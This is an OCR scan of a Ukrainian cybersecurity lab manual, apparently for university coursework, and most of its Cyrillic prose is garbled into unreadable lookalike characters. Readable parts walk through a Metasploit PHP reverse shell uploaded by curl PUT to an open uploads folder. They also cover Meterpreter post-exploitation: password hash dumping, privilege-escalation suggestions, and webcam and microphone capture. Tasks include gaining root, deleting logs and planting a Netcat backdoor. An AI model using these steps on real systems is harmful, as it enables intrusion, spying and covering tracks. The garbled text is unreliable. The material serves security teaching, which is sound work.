NPOJIOBXKKTH TpamtoBatu 3 Metasploit HatucHemo Ctrl+Z — 11e mpuU3ynuHUTh CECio 3
MO>KJIUBICTIO BiJTHOBJICHHSI.

[{poro pa3y ob6epiMo ekcIutonT s Linux-Mamman. Skiio npoanaitizyBatu 80
nopT 3a joromoror0 WMAP, MosxkHa momiTuTu npuxoBanuii nutsx /uploads. Jloriuso,
0 BIH Mpu3HAYeHUW 151 30epekeHHs 3aBaHTakeHux (aitniB. Lle curnan s
MepeBIpKU OJIHIE€T B€O-Bpa3IMBOCTI: BigaaneHoro BkitoueHHs ¢ainis (RFI, remote file
inclusion).

Excrutyaraitist 1i€l Bpa3auBOCTI BBAXKAETHCA JIOKAJIBHOO, TOMY IO IIKIIJIUBUI
KOJI BUKOHYETBCSI CaMe CEPBEPOM, SIKHI1 00po0Iisie el (ailsl, a He AUCTAHIIIHO.

Aximo Ha cepBep MOXKHA 3aBaHTaxyBaTh (Qaitnin 0e3 aBTeHTH]IKalii Ta
neperisiAaTi iXHiM 3MICT 3a MMOCUJIAHHSAM, TO 1I€ JIa€ 3MOT'y 3aBaHTAXUTH TEioaa Ha
CepBep Ta BiAJICHO HOTO 3aIyCTUTH.

CriouaTKy CTBOpHMO Tieiiioa. B sikocTi ocHOBHM BUOEpeMo meiinoan Ha 6a3i php
31 3BOpOTHUM 3B’s3koM (reverse). JlomaiiMo ajapecy aTakyro4oi MallMHU Ta
sreHepyemo (aiin neitnoany (Pucynok 13.4).
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msf6 > search payload/php reverse

Matching Modules

# MName Disclosure Date Rank Check Description
@ payload/php/shell_findsock normal No PHP Command Shell, Find Sock
1 paylead/php/reverse_php normal No PHP Command Shell, Rewerse TCP
(via PHP)
payload/php/reverse_perl normal No PHP Command, Double Reverse TC
P Connection (via Perl)
payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Rewverse T
CP Stager
4 |payload/php/meterpreter/reverse tcp_uuid normal No PHP Meterpreter, PHP Reverse T
CP Stager

5 ﬁayloadlphpfmeterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP I
nline

Interact with a module by name or index. For example 1

) » set LHOST 172.28.128.6
)} » set LPORT 4444
generate -f raw -o backdoor.php

msf6 payload(

Pucynoxk 13.4 — CTBOpeHHS Teioana

Jnst Toro, mo0 pO3rOpHYTH XEHJJIEp Ha CTOPOHI TecTepa, HEOOXITHO B
“mfsconsole” oOpartu XCHJJIEP 3a JIOIIOMOT OO0 KOMAaH 11 “use
exploit/multi/handler”. Iliciag 4oro BCTAaHOBHUTHU OMIIIO “payload’” BIAIMOBIIHO
1o reHepoBaHoro (aitiny. Takoxx HeoOXinHO BkazaTu cBoro I[P-agpecy Ta mopt, 10
aKoro Oyjae MiaKiIoyaTucs neinoaa 3 Ooky kiieHTa. B pemri-pemT, HE0oOXiaHO
BUKOHATH KOMaHy “run” Iuis 3ammycKy xeHpiepa (Pucynok 13.5).

kali@kali: ~
File Actions Edit View Help
kali@kali: ~ X kali@kali: ~ % kali@kali: ~ X

msf6 exploit( ) > use exploit/multi/handler
Using configured payload php/reverse_php

msf6 exploit( ) > set payload php/reverse_php

payload = php/reverse_php

msf6 exploit( ) > set LHOST 172.28.128.6
LHOST = 172.28.128.6

msf6 exploit( ) > set LPORT 4444

LPORT = 4444

msf6 exploit( ) > run

Started reverse TCP handler on 172.28.128.6:4444

Pucynok 13.5 — HanamryBaHHs Ta 3amyck XeHuiepa
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3a JOMOMOIOI0 YTUIITH curl BUKOHAEMO TMOTPiIOHI 3amUTH A0 CepBepa.
Cnouatky, 3a nronomoroto omuii -X PUT BignpaBumo neitsioan Ha cepsep. [licas tumy
3anuTy Tpeba 3a3HaUYNUTH MOBHUH HUIAX 70 daiiiny (3 BUKOPUCTAHHAM (@) Ta MallOyTHIH
NUIsIX 70 (paitry.

HacTynmHuii 3amuT 3MyCHTh cepBEep BUKOHATH IIKIJIMBUI KO 3 Teinoana
(Pucynox 13.6).

-

PUT -d @/home/kali/backdoor.php 172.28.128.3/uploads/backdoor.php

.3/uploads/backdoor.php

Pucynok 13.6 — Hagcunanns neitnoana Ta Horo 3amyck

Komu 3anut BUKOHAETHCS, CepBEp HATAIITYE 3B’ 130K 3 XEHIIEPOM, 1 YTBOPUTHCS
HoBa cecist (Pucynok 13.7).

msf6 exploit( ) = run
Started reverse TCP handler onm 1
Command shell session 1 opened ( G:4444 — 172.28.128.3:44916) at 2 -02-26 13:15:50 +8200
system(): Cannot execute a blank command in <b>/var/wmw/uploads/backdoor.php</b> on line <b>1

ami
W -data

system( ): Cannot execute a blank command in <b>/var/www/uploads/backdoor.php</b> on line <b>1

gid=33(wwmw-data) groups=33(wmw-data)

Pucynox 13.7 — YTBOpeHHs cecii

3aBaaHHA:

— BUKOPHUCTATH BpPa3JUBICTh, KA 1a€ 3MOTY B1JJIaJIEHOT eKCIUTyaTallii;

— BUKOPUCTATH BPA3MBICTh, IO JIA€ 3MOTY EKCIUTyaTyBaTH Bpa3IUBOCTI Ha
CTOPOHI KJII€HTA (JIOKAJIBHO);

— JIOAATH Y 3BIT BIJOMOCTI MPO MOXKJIMBOCTI, 10 OyJKM HajJaHi B pe3yibTari
BUKOPHUCTAHHS BPa3JIUBOCTEM;

— JIOAATH y 3BIT PEKOMEHJAIl 00 YCYHEHHs IIMX BPa3JIUBOCTEH, Ta MO0
YCYHEHHSI MOKJIMBOCTI iX MOSIBU y MallOyTHbOMY.
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JlaGopaTopHna podora Ne 14
Tema: IlocT-excruryarairis

Meta: HaBUNTHUCS BUKOPUCTOBYBATH MOKIIMBOCTI, 1110 BIAJIOCS OTPUMATH TTICIS
MIPOHUKHEHHS Y CUCTEMY KIII€EHTa

Teopernuni Bitomocri

Jl51s BUKOHAHHS J1abopaTOPHOi poOOTH BUKOPUCTOBYWTE 3HAHHS, OTPUMaHI i
Jac KOPHUCTYBaHHS BIJAMOBIHOIO OIEPAIiHHOI0 CHCTEMOIO (HEOOXiMHI 3HaHHSA
napameTpiB, ocoommBocTi HamamTyBaHHs OC 1 T.1.). Takok BUKOPUCTOBYUTE 3HAHHS
Ta HABUYKH, OTPUMaHI 3 OTNIEPEAHIX JJaOOpaTOPHUX POOIT.

[Ticnst BUKOHAHHS TOMEPEHIX JTa0OpaTOPHUX Majo OyTH OTPUMAaHO JIBI CEcii:
omHa 3 Windows-MammHor, apyra— BignoBigHo 3 Linux-mammbor. 1100
MpaIfoBaTl 3 HUMU IMI3HINIE PEKOMEHIYBAJIOCS MPU3YNUHUTH iX 3a JOMOMOTOIO
knagimr Ctrl+Z,

Hanami,  xomu  ekcrulyaTailis  BUKOHAHa,  HAcTa€  4Yac  IOCT-
eKCIUTyaTallii — TeCTyBaJbHUK Ma€ JIOCTYII 10 KOMAHJAHOTO PS/IKA, MOXJIMBO HAaBITh 3
mpaBaMu ajaMiHicTparopa. lle Hamae 3mory 30upaTu AaHi, BHOCUTH 3MIHU B
KOH(irypariii cepBiCiB, TPOJOBKYBAaTH IPOHUKHEHHSI MEPEIKEIO TOLIO.

{00 meperiasHyTH HaJIaroKeHi cecii, T0cTaTHLO BBECTH B KoHCOI Metasploit
KoMaHAy “sessions”. lle BiI0Opa3uTh OCHOBHI cecii Ta IXHI MOJPOOUII
(Pucynoxk 14.1).

msfé > sessions

Active sessions

Type Information Connection

shell java/java Shell Banner: Microsoft Windows [Versi 64484 — 172.28.128.5:53686
on 6.1.7601]
shell php/php

Pucynox 14.1 — Cecii Metasploit

AKTHUBYBaTH CeCiI0 MOXKHA 3a JIOTIOMOTOI0 KOMaHIM “sessions -i <id
cecii>”. MIHyC Takux ceciii B TOMY, 1[0 OKPIM BiJOOpaXEHHS CMITTS Ta 3aJI€KHOCTI
BiJI MOBH KOMaHIHOTO psJIKa BOHH IIIe ¥ MOXYTh 00ipBaTHcCs. J[Js1 BUpIIIEHHS IHX
npobinem pasom 3 Metasploit Framework Oy mnpencraBieHuit  0coOIUBHIA
neitnoan — Meterpreter. Moro oco6iauBicTs Mmoisrae B TOMy, IO BiH BHKOPHCTOBYE
DLL-in’exmii juist 611bIn CTAOLIBHOTO 3B’SI3KY, MOKJIIMBOCTI 30epiratucs B CHCTEMI
HaBITh MICJI MEPE3aycKy Ta CUCTEMHHX 3MiH. Jlo TOro K, BIH HE 3aJIMILAE CIiIB HA
KOPCTKUX JHUCKaX, TOMY IO BHKOPUCTOBYE JIHIIE OMNEPATUBHY IMaM’ SiTh, IO
YCKJIQJIHIO€ HOTO TONIYK CHelialiCTaMHu.

[oro MeToI0 € MOKpAIIEHHs TOCT-eKCILTyaTaliifHuX po6iT, 60 Mae TOTOBHIA
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Ha01p QYHKIIN A1 BUKOHAHHS THIIOBUX 3a/1a4.

Maiike KOXXHHH EKCIUIOWT Ma€ MOXKJIUBICTh BHUKOPHCTaTH TOW UM IHIIHMA
Meterpreter-neitioas, ogHak Oyab-sSKy CECIF0 MOKHA CIIPOOYBATH MOKPAIITUTH JI0 Cecli
Meterpreter.

Jns 1mporo mMOTpIOHO BBECTH KOMaHAy “‘sessions -u <id cecii>”
(Pucynox 14.2).

> 5es5s51o0ns

Active sessions

Y Information Connection

shell java/java Shell Banner: Microsoft Windows [Versi 17 .. 4444 — 172.28.128
on 6.1.76@1] 7 . .
shell php/php 7 . LB EEL — 172,

a2
o

65 > sessions -u 6
uting ‘post/multi/manage/shell_to_meterpreter' on session(s):

ION may not be compatible with this module:
ompatible session platform: php
i sion ID: 6
ploit/multi/handler

session 7 2 72 28.6: 4444 7 28.3:44994) at
and stager progress:

6 » sesslons

Active sessions

Type Information Connection

shell java/java Shell Banner: Microsoft Windows [Ve p. LBi44bh — 172.2
rsion 6.1.7601] 6 1.128.5)

shell php/php

meterpreter x86,/linux www-data @ 10.8.2.15

Pucynok 14.2 — [TokpamieHns cecii

Skmo aktuByBaTH cecito Meterpreter ta BBecTM KOMaHay ‘“help”, MOXHa
no6aunTy 6a30B1 MOKJIIMBOCTI JaHOTO Tieinoana. binbmiicte komans € iHTepdeiicamu
710 BIATOBIIHUX KOMaH]l y PI3HUX CUCTEMax: MOYMHAIOYM Bij (aiIoBOi CUCTEMH Ta
MepeKeBUX KOH(Irypaiiil A0 MmporpaBaHHs ayJl0-TPEKy Ha aTaKOBaHIM MalllWHI,
3anmuc MikpooHy, BeO-kamepu Ta pobouoro croia (Pucynok 14.3). Takoxk, Bcs
iHopmMmaris, 3m100yTa Meterpreter, 36epiraetbest B 0a31 JaHUX, K TO: KOH(QIrypaiiii,
BJIACTUBOCTI CUCTEMHU, 310paHi Xell napoiiB Ta iHme. OKpiM nepeniuyeHux QyHKIINA
HasIBH1 pI3HOMAaHITHI IUIariHU, SIK1 MOXKYTh MPUCKOPIOBATH 301p 1HpOpMalii.

[lepmoro W0 TeCTyBalbHUKA, SKUN 3MIT OTPUMAaB JOCTYN TEBHOTO
PIBHSI — TJBUIITUTH PIBEHB JOCTYITY 3a JOTIOMOTOI0 ecKanarlis mpuBineit. s takux
Bunaakie € wmoayab /post/multi/recon/local_exploit_suggester. EkcruioiTiB st
eckaiamii gyxe Oarato, TOMy B JJaHOMY BHUMaJKy Oyle NOpPEYHUM MOIYJIb, SIKUH
nepeBipsie€ CYMICHICTh €KCIUIONTIB 3 TaHOI0 KOH(DIrypalli€ro 1 y BUMaAKy 3HaXOKEHHS
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EKCIUIONTA, SIKUM MOXe OyTH BUKOPUCTAHUM, IIPOIIOHYE HOTO.

Jlami Momaynb JUIs 3aXOIUICHHS TeliiB mapojiB cuctemu: /post/(windows |
Linux)/gather/hashdump.

CrocTepekeHHST 3a €KpaHOM BiJJIaJIcHOTO XOCTI MOJKHA OpraHi3yBaTH 3a
aoromMoror Moy post/multi/manage/screenshare.

VYei mi Ta iHmN MOAYJl JUIS TOCT-€KCIUTyaTarlii MarTh OJWH CIUIbHUN
000B’s13k0BUI mapamerp — Id cecii, 10 SKOI 3aCTOCOBYIOTHCS. BIbIICTH 3 IHX
MOJIyJiB IHTETpOBaHa B miarinu st Meterpreter, mo 3akoHOMipHO, ajke yci pyHKIii
[BOTO MEWUI0aTy CTOCYIOThCS JIHILIE OJTHIET Cecii.

pkill Terminate processes by name

ps List running processes

shell Drop into a system command shell
suspend Suspends or resumes a lList of proces
sysinfo Gets information about the remote

Stdapi: Webcam Commands

Command Description

5t

rt a video chat

t webcams

ke a snapshot from the specified webcam

a ay a video stream from the specified webcam

Stdapi: Mic Commands

Command Description

I_I p—
e
(o1

en to a saved audio recording via audio player
all microphone interfaces

irt capturing an audio stream from the target mic
op capturing audio

L]
I_'- I_'-
(]

[ T

—+

Stdapi: Audio Output Commands

Command Description

play a waveform audio file (.wav) on the target systen

Pucynok 14.3 — Cniucox ¢yHKIIH, TOCTYIHUX 3 BUKOpucTaHHsIM Meterpreter
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3aBaaHHA:

OTPUMATH CKPIHIIOT BiJIaJIeHOI MaITHH;

OTpHMATH mpaBa SyStem/root Ha CTOpOHI CUCTEMH KITIEHTA;

BUKOHATH BHUJIAJICHHS JIOT1B MMO/I1 HA CTOPOH1 CUCTEMHM KJIIE€HTA;
HajamTyBaTu port-forwarding Ta BmamryBatu 0ekaop 3a qonomororo Netcat;
y 3BIT1 B1JIOOpPA3UTH XiJl BAKOHAHHS POOOTH;

J0J1aTH CKPIHIIIOTH Ta BUB1J KOHCOJII.
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https://www.scopus.com/record/display.uri?eid=2-s2.0-85065482781&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=5&citeCnt=0&searchTerm
https://www.scopus.com/record/display.uri?eid=2-s2.0-84938096221&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=6&citeCnt=33&searchTerm
https://www.scopus.com/record/display.uri?eid=2-s2.0-84938096221&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=6&citeCnt=33&searchTerm
https://www.scopus.com/record/display.uri?eid=2-s2.0-84938096221&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=6&citeCnt=33&searchTerm
https://www.scopus.com/record/display.uri?eid=2-s2.0-84938096221&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=6&citeCnt=33&searchTerm
http://journals.khnu.km.ua/vestnik/?cat=65

Kareropis «b»)

66. CwmipuoB O.A., Cmiproa T.B., Koncrantunosa JI.B., CmipnoB C.A.,
Axumenko H.M., «JlocmipkeHHS CTIHKOCTI /10 JIHIAHOTO  KPUITOAHATI3Y
3aMporoHOBaHOi (PyHKINII renryBaHHS YAOCKOHAJICHOTO MOIYJS KPHUITOTpadigHOTO
3axucTty B 1H(MOpMaIIiHO-KOMYHIKAIIMHUX cucTemMax» CucTeMH yIpaBiiHHS,
HaBiramii Ta 3B'sI3Ky, 2022, No 1(67). C. 84-89. Pexum pgocryny:
http://journals.nupp.edu.ua/sunz/article/view/2449/1918 (daxoBe  BHIAHHS.
Kareropis «b»)

67. Smirnov O., Kuznetsov A., Kovalchuk D., Kuznetsova T. «New Technique
for Hiding Data in Cover Images Using Adaptively Generated Pseudorandom
Sequences». CEUR Workshop Proceedings Volume 2732, 2020, Pages 214-227.
Pexxum moctymy: http://ceur-ws.org/\VVol-2732/20200214.pdf  (3akopmonne (axoe
BUJIAHHS)

68. CmipuoB O.A., CwmipuoB C.A., [omimyk JLI., CwmipnoBa T.B.,
Konomminpka-Crnobonentok O.K. Meron popmyBaHHSI aHTUBIPYCHOTO 3aXUCTY JaHUX
3 BHUKOPHUCTAHHsIM Oe3ne4yHoi MapuipyTtusaiii metagaHux. KibepOesmeka: ocBiTa,
Hayka, TexHika. — Tom 3 Ne 3. — KuiB: KV iM. bopuca I'pinuenka. — 2019. — C. 63-87.
https://doi.org/10.28925/2663-4023.2019.3.6387 Pexum JOCTYIIY:
http://nbuv.gov.ua/UJRN/cest 2019 3 7 (daxoBe BUIAHHS).

69. CwmipuoB O.A., CmipHos C.A., [Tomimyxk JI.I., Konomninbka-CnoboaeHok
O.K., CmipnoBa T.B. GERT-Mozen1 TexHOIOT1i XMapHOTO aHTUBIPYCHOTO 3aXUCTY.
KibepbOesneka: ocBita, Hayka, TexHika.—Tom 2 Ne 2.—KwuiB: KY im.. bopuca
I'pinuenka. — 2018. — C.  7-30. https://doi.org/10.28925/2663-4023.2018.2.730
Pexum JTOCTYMY: http://nbuv.gov.ua/UJRN/cest 2018 2 3 63-87.
https://doi.org/10.28925/2663-4023.2019.3.6387. Pexum JOCTYIY:
http://nbuv.gov.ua/UJRN/cest 2019 3 7

70. CwmipuoB O.A., Menemko €.B., Xox B.JI. locmipkeHHST METOIIB ayauTy
CHUCTEM YIIpaBIiHHSA 1HPOpMaIliiHow Oe3rekoro. CUCTeMH YIpaBiIiHHS, HaBiraii Ta
3B’s13Kky. — Bunyck 1 (41). —[lonraBa: TlontHTY.-2017.-C. 38-42.. Pexum
nocrymy: http://nbuv.gov.ua/UJRN/suntz_2017 1 12

71. CwmipnuoB O.A., CmipnoB C.A., limuk O.K., IpeeB O.M. Crioci6 KOHTPOJIIO
JHIA 3B’S3Ky TEJIEKOMYHIKAI[IWHOT CUCTEMHU aHTUBIPYCY.. 30IpHUK HAYKOBUX MpaIllb
XapkiBcekoro  yHiBepcurery [loBitpsaux Cun. Bumyck 2 (47). — Xapkis:
XVIIC. — 2016. - C. 121-127. Pexum JIOCTYIIY:
http://nbuv.gov.ua/UJRN/ZKhUPS 2016 2 32

72. CwmipuoB O.A., CmipuoB C.A. [Hinuk O.K., pee O.M. Mojeni cucremu
HEWPOMEPEKEBUX EKCIIEPTIB Oe3MeyHOi MapHIpyTH3alii y XMapHUX aHTUBIPYCHHUX
cuctemax. 30IpHUK HaykoBuxX mpaup "Cucremu o0poOku iHpopmarii'. — Bumyck
3(140). — X.: XVIIC —2016. - C. 36-39.Pexum JIOCTYIY:
http://www.hups.mil.gov.ua/periodic-app/article/16443
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Indopmauniiini pecypcu

75. Kypc «Bctynm 5o kibepOe3mekw» Ha cepBepl AUCTAHIIHOI OCBITa
ITHTYVY. — URL.: https://moodle.kntu.kr.ua/course/view.php?id=1017

76. Omnnaitn-kypcu Coursera. — URL.: https://www.coursera.org

77. Axanemis Cisco. — URL.: https://www.netacad.com

78. Owu-naitn pecypc 3 kibepoesneku. — URL: https://www.itsecurityguru.org/

79. Omn-naiiH pecypc 3 kioepoOe3mnexku. — URL:
https://www.scmagazine.com/security-weekly-blog

80. Own-naitu pecypc 3 kibepoesnekn. — URL: https://thehackernews.com/

81. Owm-naitH pecypc 3 kibepoesmeku. — URL: https://www.infosecurity-
magazine.com/

82. Omn-naitu pecypc 3 kioepoesnekn. — URL: https://www.csoonline.com/

83. Owmn-naitn pecypc 3 kibepOesnexu. — URL: https://www.tripwire.com/state-
of-security

84. Oun-naitn pecypc 3 kibepoesnexu. — URL: https://www.schneier.com/

85. Omn-naitn pecypc 3 iHpopmariiaux Texnosorii. — URL:https://dou.ua/

86. Ilomykosa cucrema. — URL:https://www.google.com/

87. Oun-naitn pecypc neperisiny Bigeoypokis.— URL:https://www.youtube.com

3aKOHH, HOPMATHBHI aKTH, CTAHAAPTH Ta cneuudikanii

S.1. JIbH A.2.2-2-96 JlepxaBHi OyaiBensHi HopMu Y kpainu. [IpoekTyBaHHS.
Texniunuid 3axuct iHGoOpmalii. 3arajbHi BUMOTH [0 OpraHi3alii MpOeKTYBaHHS 1
MPOEKTHOI TOKYMEHTAIlli JJ1s1 Oy 1IBHUIITBA.

S.2.  JICTY 1.0-93 JlepxaBna Cucrtema ctanmaptusamii Ykpainu. OcHOBHI
MOJIO’KEHHS.

S.3.  JACTY 1.3-93 JlepxkaBuna Cuctema crangaptuzaiii Ykpainu. [Topsgox
po3po0eHHs 1 TOOYI0BH, BUKIAJCHHS Ta 0()OPMIICHHS TEXHIYHUX YMOB.

S.4.  JCTY 1.4-93 JlepkaBna Cuctema crannaptu3zaiii Ykpainu. CtangapTtu
mianprueMcTBa. OCHOBHI TIOJIOKEHHS.

S.5.  JACTY 1.5-93 JlepxaBna Cucrtema ctanmapTuzaiii YKpainu. 3arajibHi
BUMOTH JI0 TOOY0BH. BUKJIaAy, OOPMIICHHS Ta 3MICTY CTaHAApTIB.

S.6. JCTY 1.6-97 lepxaBHa Cuctema crannaptuzainii Ykpaiau. [Topsmox
JIep>KaBHOI peecTpallii rajay3eBUX CTaHIApTIB, CTAHJAPTIB HAyKOBO-TEXHIYHUX Ta
1HKEHEPHUX TOBAPHUCTB 1 CIIOK.

S.7. JACTY 2226-93 ABromaTn3oBaHi cucteMu. TepMiHU Ta BUBHAYEHHS.

S.8.  JACTY 2296-93 HarionanbHuid 3HaK BiAMOBIIHOCTI. DopMa, po3MipH,
TEXHIYH1 BUMOTH Ta MIpaBujia 3aCTOCYBAHHS.

S.9. JACTY 2462-94 Ceprudikamis. OcHOBHI TOHATTS. TepMmiHm Ta
BHU3HAUCHHSI.

S.10. ACTY 3410-96 Cucrema ceprudikanii  YrkpCEITPO.OcHoBHi
MOJIO’KEHHS.

S.11. JACTY 3412-96 Cucrema ceprudikamii YxpCEIIPO.Bumoru o
BUMPOOYBAILHUX JTA00PATOPIH Ta MOPSAOK IX aKpeauTAaIlli.
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S.12. JACTY 3413-96 Cucrema ceptudikamii  YkpCEITPO.ITopsaok
pOBEACHHS cepTUdikarii mpoayKIlii.

S.13. ACTY 3417-96 Cucrema ceprudikamii YkpCEITPO.Ilpouenypa
BU3HAHHSI pe3yJIbTAaTIB cepTUdikariii mpoayKIlii, o iMIOPTY€ETHCS.

S.14. JACTY 3419-96 Cucrema ceptudikainii YxpCEITPO.Ceptudikaris
cucteM sikocTi. [lopsinok npoBeaeHHS.

S.15. JACTY 3396.0-96. lepxaBuuii ctangapt Ykpainu. 3axuct iHdopmariii.
Texuiunwmii 3axuct iHPopMmarliii. OCHOBHI MOJIOKEHHS.

S.16. JICTY 3396.1-96. lepxaBuuii cranaapT YKpainu. 3axucT iHpopMmailii.
Texniunnii 3axuct iHpopmartii. [Topsimok mpoBeaeHHS pPOOIT.

S.17. JACTY 3396.2-97. llepxaBawmii cTangapT YKpainu. 3axuct iHdopmariii.
Texuiunwmii 3axuct iHpopMartii. TepMiHu Ta BU3HAUYCHHS.

S.18. JICTY 4145-2002 «Iadopmariitni texnonorii. Kpunrtorpadiununii
3axuct iHbopmarii. [udpoBuii mignuc, Mo IPyHTYETbCS Ha CNINTHYHUX KPUBHUX.
dopMyBaHHA Ta IEPEBIPSTHHS.

S.19. JICTY 4249:2003 Indopmariiini Texnomorii. Hactanosa momgo POSIX-
cymicHux cepenoBui Binkputux cuctem (POSIX-OSE) (ISO/IEC TR 14252:1996,
MOD).

S.20. ACTY 7564:2014 «Iudopmariitni texHousorii. Kpunrorpadiunmii
3axuct iHpopmarii. DyHkiis reuryBanisy. (Kynuna).

S.21. JICTY 7624:2014 «Iudopmamiitai Texnonorii. Kpuntorpadiunuit
3axuCT 1H(popMaii. AITOPUTM CUMETPUYHOTO OJIOKOBOTO niepeTBopeHHs». (Kanuna).

S.22. JCTY ISO/IEC 7498-1:2004 Indopmartiiini TexHomorii. B3aemo3B 5130k
BIIKpUTHX cucTeM. ba3oBa etanonna monens. Yactuna 1. Etanonna monens (ISO/IEC
7498 1:1994, IDT).

S.23. JICTY [ISO 7498-2:2004 Cucremu o00pobneHHs iHpOpMAIii.
B3aemo3B's130k BikpuTux cucteM. bazosa erasonna monens. Yactuna 2. ApxiTektypa
3axucty iHdopmartii (ISO 7498-2:1989, IDT).

S.24. JICTY ISO/IEC 7498-3:2004 Cucremu o00poOieHHs iHbOpMaIii.
B3aemo3B 5130k BikpuTux cucteM. bazoBa erasionna mojens. Yactuna 3.

S.25. JICTY 8845:2019 «Iudopmarmiitai Ttexuosorii. Kpunrorpadiunmii
3axucT 1H(MoOpMaIli. AJNTOpUTM CHMETPUYHOTO TMOTOKOBOTO TEPETBOPEHHS.
(STRUMOK).

S.26. JACTY [ISO/IEC 9796-2:2015 (ISO/IEC  9796-2:2010, IDT)
«IHdopmaniiini  TexHonorii. Merogu 3axucty. CxemMu HUGPPOBOro MIAMHUCY, SIKI
3a0e3neuyroTh BITHOBJICHHS MOB1IoMJIeHHs. YacTuHa 2. MexaHi3Mu, 110 IPYHTYIOThCS
Ha (haKTOpHU3ALIT [UTUX YUCEID.

S.27. JACTY ISO/IEC  9796-3:2015  (ISO/IEC9796-3:2006, IDT)
«Iludopmarniiini Texnonorii. Merogu 3axucty. CxemMu HUGPPOBOro MIAMHUCY, SIKI
3a0e3MevyoTh BITHOBJIEHHS MOBiAoMIIeHHs. YacTuHa 3. MexaH13Mu, 110 TPYHTYIOThCS
Ha JUCKPETHOMY Jorapudmiy.

S.28. JCTY ISO/IEC 9797-2:2015 (ISO/IEC 9797-2:2011, IDT)
«Iadopmarriitai Texromorii. Metoau 3axucty. Komu aBrenTudikaiiii moBigoMIIeHb
(MACGs). Yactuna 2. MexaHi3MH 1[0 BUKOPHCTOBYIOTH CIICIiajli30BaHy Telll-
GYyHKIIO».
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S.29. JCTY ISO/IEC 9798-2:2015 (ISO/IEC 9798-2:2008; Cor 3:2013, IDT)
«IHdopwmarriiini TexHosorii. Metoau 3axucty. ABTeHTHdiKaIlis 00’ ekTiB. YacTuna 2.
MexaHi3MH, 110 BAKOPUCTOBYIOTh CUMETPUYHI aJITOPUTMH MIU(PPYBAHHSD.

S.30. JACTY ISO/IEC 9798-3:2002 (ISO/IEC 9798-3:1998; Cor 1:2009; Cor
2:2012) «Iadopmartiitai TexHosorii. Metonu 3axucty. ABTeHTHU]IKAIs CyO’€KTIB.
Yactuna 3. MexaHi3Mu 3 BAKOPUCTAHHIM METOJTY LIUGPOBOTO MiAMUCY.

S.31. JCTY ISO/IEC 9798-4:2015 (ISO/IEC 9798-4:1999; Cor 1:2009; Cor
2:2012, IDT) «lIudopmariitai Texnosorii. Meroau 3axucty. ABTeHTH]IKAIA
00’extiB. Yactuna 4. MeTtoau, 110 BUKOPUCTOBYIOTH KpUNTOTpadidHy MEepeBipOUHY
(byHKLIIO».

S.32. JACTY ISO/IEC 9798-5:2015 (ISO/IEC 9798-5:2009, IDT)
«Inopmaniiini TexHosnorii. Meronu 3axucty. ABTeHTH}iKaLig 00’ ekTiB. YacTuHa 5.
MexaHi3MH, [0 BAKOPUCTOBYIOTh METOAU HYJIOBO1 O013HAHOCTDY.

S.33. JACTY ISO/IEC 9798-6:2015 (ISO/IEC 9798-6:2010, IDT)
«Indopmarriiini Texnosorii. Meroau 3axucty. ABreHtudikaiiis 06’ ekriB. Yactuna 6.
MexaHi3MH, 1110 BAKOPUCTOBYIOTh PYYHE MepeaaBaHHs JaHUX.

S.34. JCTY ISO/IEC TR 10032:2012 Indopmariitai TexHosorii. Eranonna
mozenb kepyBanns nanumu (ISO/IEC TR 10032:2003, IDT).

S.35. ACTY ISO/IEC 10116:2019 (ISO/IEC  10116:2017, IDT)
«Iadopmarriiiai Texnosorii. Merogau 3axucty. Pesxxumu poOoTH n-OiTHUX OJIOKOBUX
@ piBy.

S.36. JACTY ISO/IEC 10118-2:2015 (ISO/IEC 10118-2:2010; Cor 1:2011,
IDT) «Indopmariitni Texnomnorii. Metonu 3axuctry. I'em-¢ynkuii. Yactuna 2. I'em-
(GyHK11i, 10 BAKOPUCTOBYIOTh N-O1THUI OJIOKOBUI I PH.

S.37. JACTY ISO/IEC 10118-3:2005 (ISO/IEC 10118-3:2004; Cor 1:2011,
IDT) «Iudopmariiini texHosorii. Metonu 3axucty. [em-ynkiii. Yactuna 3.
CrnermianizoBani rem-QyHKII.

S.38. JICTY ISO/IEC 10118-4:2015 (ISO/IEC 10118-4:1998; Cor 1:2014;
Amd 1:2014, IDT) «Iudopmariiini TexHomorii. Metonu 3axucry. ['em-yHKIii.
Yactuna 4. I'em-GyHKIii, 110 BAKOPUCTOBYIOTh MOJYJIbHY apU(PMETUKY.

S.39. JICTY ISO/IEC 11770-2:2015 (ISO/IEC 11770-2:2008; Cor 1:2009,
IDT) «Indopmairiitai Texuonorii. Meroau 3axucty. KepyBanns kirouamu. Yactuna 2.
MexaHi3MH 3 BAKOPUCTAHHSM CUMETPUIHUX METOIBY.

S.40. JACTY ISO/IEC 11770-3:2015 (ISO/IEC 11770-3:2008; Cor 1:2009,
IDT) «Indopmariitai TexHosorii. Metonu 3axucty. KepyBanus kimtouamu. Yactuna 3.
MexaHi3MH 3 BUKOPUCTAHHSIM aCUMETPUIHUX METOIBY.

S41. JACTY ISO/IEC 11770-4:2015 (ISO/IEC 11770-4:2008; Cor 1:2009,
IDT) «Indopmariiini TexHosorii. Meronu 3axucty. KepyBanns kitouamu. Yactuna 4.
MexaHi3MH , 3aCHOBaHI Ha HECTIUKUX CEKPETax».

S.42. JCTY ISO/IEC 11770-5:2015 (ISO/IEC 11770-5:2008, IDT)
«Iadopmarriiini Texnonorii. Meronu 3axucty. KepyBanns kmouamu. Yactuna 5.
KepyBaHHS rpylmoBUMH KITFOUAMI.

S.43. JCTY ISO/IEC 13249-1:2017 Indopmariiiai TexHomorii. MoBu 0a3
nanux. SQL mynbTHMenia Ta makeTu NpukiIaaHux mnporpam. Yactuna 1. OcHOBHI

nosnoxenns (ISO/IEC 13249-1:2016, IDT).
